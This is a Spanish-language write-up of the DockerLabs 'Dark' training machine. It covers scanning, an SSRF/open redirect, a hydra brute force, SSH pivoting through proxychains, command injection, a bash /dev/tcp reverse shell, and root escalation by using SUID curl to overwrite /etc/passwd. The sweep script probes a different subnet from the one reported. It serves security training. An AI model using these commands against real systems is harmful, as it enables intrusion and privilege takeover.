# DockerLabs Dark

Para poder hacer uso de esta máquina primero debemos descargar los archivos y así desplegarlo con Docker.

Descargamos el archivo de la página [dockerlabs.es/#](http://dockerlabs.es/#)

Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos 3 archivos

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1723493013254/249f2798-d074-49d8-98f8-b7c9f5c9d88b.png align="center")

Para desplegar el laboratorio ejecutamos de la siguiente manera, así también podemos ver que nos indica la dirección que tendremos, así también el que hacer cuando terminemos este.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1723493053967/b6b3403f-8afc-4632-a5e0-60582f466c3f.png align="center")

Primero debemos identificar cuál es la máquina a la que tenemos acceso. Para ello usaremos el comando `ip a` que nos mostrara todas las interfaces.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1723493060521/7110bf07-3a1b-45a8-92d9-9d401321b6dd.png align="center")

Si vamos buscando las otras redes podemos observar que tenemos otra red que indica `up` la cual es la 8 y nuestra dirección para esa IP es la `10.10.10.1`.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1723493074738/0972445c-f703-49d7-8096-1a182358e22f.png align="center")

Con ello en mente podemos saber cuál de las direcciones IP que debemos acceder para empezar. Si no nos indicaran que IP es la que debemos acceder, solo deberíamos realizar `sudo nmap -sn 10.10.10.0/24` y como se puede observar se tienen las IP:

* 10.10.10.1 ---&gt; Nuestra IP
    
* 10.10.10.2 ---&gt; IP de máquina víctima
    

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1723493119883/ecbcf18c-77d0-4e6f-8ab1-e5319bdd4c66.png align="center")

Ya que tuvimos la IP `10.10.10.2` realizaremos un ping para ver si obtenemos respuesta.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1723493126820/9c28d06c-4ac9-44ca-9ee8-aa0628e751c7.png align="center")

Realizamos un escaneo de la dirección IP y podemos observar que tenemos 2 puertos abiertos.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1723493134403/73154152-b71a-4186-80a5-42433097be0b.png align="center")

Al dirigirnos a la dirección web podemos observar que podemos ingresar URL's.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1723493141731/073cb1e7-752f-40e2-8cb2-953964c9899a.png align="center")

Tratamos de revisar si obtenemos algún directorio adicional y podemos encontrar uno llamado `info`.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1723493149740/ef9ef230-14f0-467d-a40b-483ebe35af58.png align="center")

Nos dirigimos al directorio solo observamos un texto interesante así también una dirección que debemos tener en cuenta para más adelante `20.20.20.3`.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1723493159503/858e59e2-cb44-4322-b7d3-95639d386688.png align="center")

Ya que no hay mucho que ver, regresamos a la página principal y probamos agregando la URL de Google y vemos que sí tenemos respuesta.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1723493174016/f8ee93a7-254c-4ba1-8230-32a36c0859f0.png align="center")

Al enviar el URL podemos observar que se ven los resultados siguientes. Lo cual nos confirmaría que es vulnerable a `Open Redirect`, pero no nos es útil debido a que ese ataque está orientado más a phishing.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1723493198324/1004c3f6-3d25-47dc-9632-e2a963ea3908.png align="center")

Ya que podemos observar el resultado recordemos que nos hablaba de que el usuario tenía una página ilegal con la dirección `20.20.20.3` Si ingresamos la dirección podemos observar otro buscador.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1723493206668/f7cf5f5d-b82a-41d4-bcb4-ef5a397d71df.png align="center")

Luego de ello observamos que indica `webilegal.com`.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1723493221383/351550dd-8e4c-49a5-a22c-0b3b159b3456.png align="center")

Como ahora sabemos que hay otro servicio, pero no tenemos más donde buscar usaremos hydra para obtener el password con el nombre que observamos en el mensaje. Luego de usar `hydra` podemos observar el password.

```plaintext
toni:banana
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1723493237071/151e08e7-e0b0-4a1e-8a2a-e044394ba99d.png align="center")

Como ya obtuvimos el password nos conectamos y podemos observar que ya estamos dentro de la primera máquina así también observamos la segunda red `20.20.20.2`.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1723493243844/1e42f9e2-cfe6-4ad8-86f7-aa4b39361ca2.png align="center")

Probamos realizar un ping a la dirección que encontramos `20.20.20.3`, pero no tenemos el comando ping.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1723493281887/08600bab-e1a1-423a-8662-3ad026e41010.png align="center")

Como desconocemos la dirección IP de la máquina, realizaremos un escaneo para identificar las direcciones IP habilitadas en este rango. Para ello debemos hacer lo siguiente. Usamos el siguiente script para identificar las direcciones IP

```bash
for i in {1..254}; do
    curl -s --connect-timeout 1 http://30.30.30.$i > /dev/null && echo "30.30.30.$i is up"
done
```

Podemos observar que encontró 2 y la dirección que encontró es la misma que observamos en el mensaje.

* 20.20.20.2 =&gt; nuestra máquina.
    
* 20.20.20.3 =&gt; Máquina a atacar.
    

### Máquina 1 Dark1 (IP 10.10.10.2 - 20.20.20.2)

Para poder empezar con esta máquina aplicaremos un `Dynamic Port Forwarding`. Como ya tenemos las credenciales SSH primero debemos ingresar el comando.

```plaintext
ssh -D 1234 toni@10.10.10.2
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1723493325980/832b595b-dbcb-4849-8deb-ae8e2552547d.png align="center")

Una vez hecha la conexión, tendremos que aplicar la siguiente configuración desde el fichero `/etc/proxychains.conf`:

```bash
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5  127.0.0.1 1234
```

Con ello hecho ya deberíamos poder tener conectividad a ese punto. Escaneamos los puertos de la otra máquina `20.20.20.3` para poder observar cuáles tenemos disponibles y tenemos los puertos `80` y `20`.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1723493356476/097e1605-bee3-4cd4-8920-30c2b5f56188.png align="center")

Como tenemos el puerto 80 para poder observar agregaremos el proxy en `foxyproxy` así tener conectividad y ya sabemos qué esperar.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1723493362560/6492551d-7945-431c-a804-677cef494430.png align="center")

Luego de activar el proxy

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1723493371844/cffb8908-b068-4bd5-bc89-a057d4603705.png align="center")

Al ingresar la dirección IP en el navegador web podemos observar la página que pudimos observar al comienzo.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1723493384427/0cf0e379-e6ef-403a-99ec-7a9fea531dae.png align="center")

Probamos ingresando un comando y podemos observar que se pueden ejecutar comandos.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1723493396266/31bf98a9-c9ff-4630-8083-01f49747d7a6.png align="center")

Ya que podemos ejecutar usuario y no tenemos usuarios por cuáles hacer fuerza bruta, estableceremos una reverse shell. Nos dirigimos a la terminal de Toni e iniciamos nuestro listener.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1723493403158/f9bcee4d-60a5-4961-b235-79584ed5298b.png align="center")

Usando el siguiente comando usando la dirección IP con la que tenemos un `portforwarding`.

```plaintext
bash -c 'bash -i >& /dev/tcp/10.10.10.2/1235 0>&1'
```

Y enviamos la shell y podemos observar que ya tenemos conexión.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1723493430746/5aa82209-8fa1-427f-848a-98fccc3f56aa.png align="center")

Si realizamos un `hostname -I` observamos que ya estamos en la red `20.20.20.3`.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1723493444660/dcebb4f2-82b6-46bd-bf2c-f5827ed6d06b.png align="center")

Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos

```plaintext
script /dev/null -c bash
```

luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty

```bash
stty raw -echo; fg
				reset xterm
```

para obtener más características usamos

```bash
export TERM=xterm
```

para la variable de entorno

```bash
echo $SHELL
```

y para pasar a bash usamos

```bash
export SHELL=/bin/bash
```

para establecer el tamaño adecuado de la consola ingresamos

```plaintext
stty rows 59 cols 236
```

de esta manera ya nos podemos mover con más libertad en la consola. Realizamos un `sudo -l`, pero no podemos observar, ya que no tenemos permisos y revisando los permisos SUID observamos que tenemos `Curl`.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1723493490600/e6af606a-e960-444e-b1bc-a2cba753f42b.png align="center")

Buscando sobre este binario en [GFTOBins](https://gtfobins.github.io/gtfobins/curl/#sudo) podemos observar lo siguiente.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1723493498048/91307335-e25d-4c3b-b5ed-7cc41f3223b3.png align="center")

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1723493501984/38649e4a-7bbd-434e-8781-7496f80b56cc.png align="center")

Para poder aprovechar estos permisos copiaremos el archivo de `/etc/passwd` en el directorio `/tmp`.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1723493511320/5399b0db-ed64-4ab4-8495-01cc337376df.png align="center")

Luego usando nano lo editaremos y de primera tenemos 2 opciones, la primera es editar el campo de root y retirarle la `x` y dejarlo de la siguiente manera.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1723493521378/20168b00-4072-4e27-a905-b0012200d7a8.png align="center")

También podríamos agregar un usuario al final y se vería de la siguiente manera.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1723493539726/ff9d3afa-a9d5-49bd-ae03-034f4fad9b6f.png align="center")

Con el archivo modificado de la siguiente manera podemos realizar lo siguiente.

```bash
/usr/bin/curl file:///tmp/passwd -o /etc/passwd
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1723493556148/0036b0fa-06d8-42f1-8a93-3284bee44075.png align="center")

Luego de ello podemos hacer un `su root` o un `su gm4tsy` de esta manera obteniendo acceso como root. De esta manera culminando esta máquina.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1723493564501/0e463555-d27d-4492-a522-c3ae77ceb4e4.png align="center")
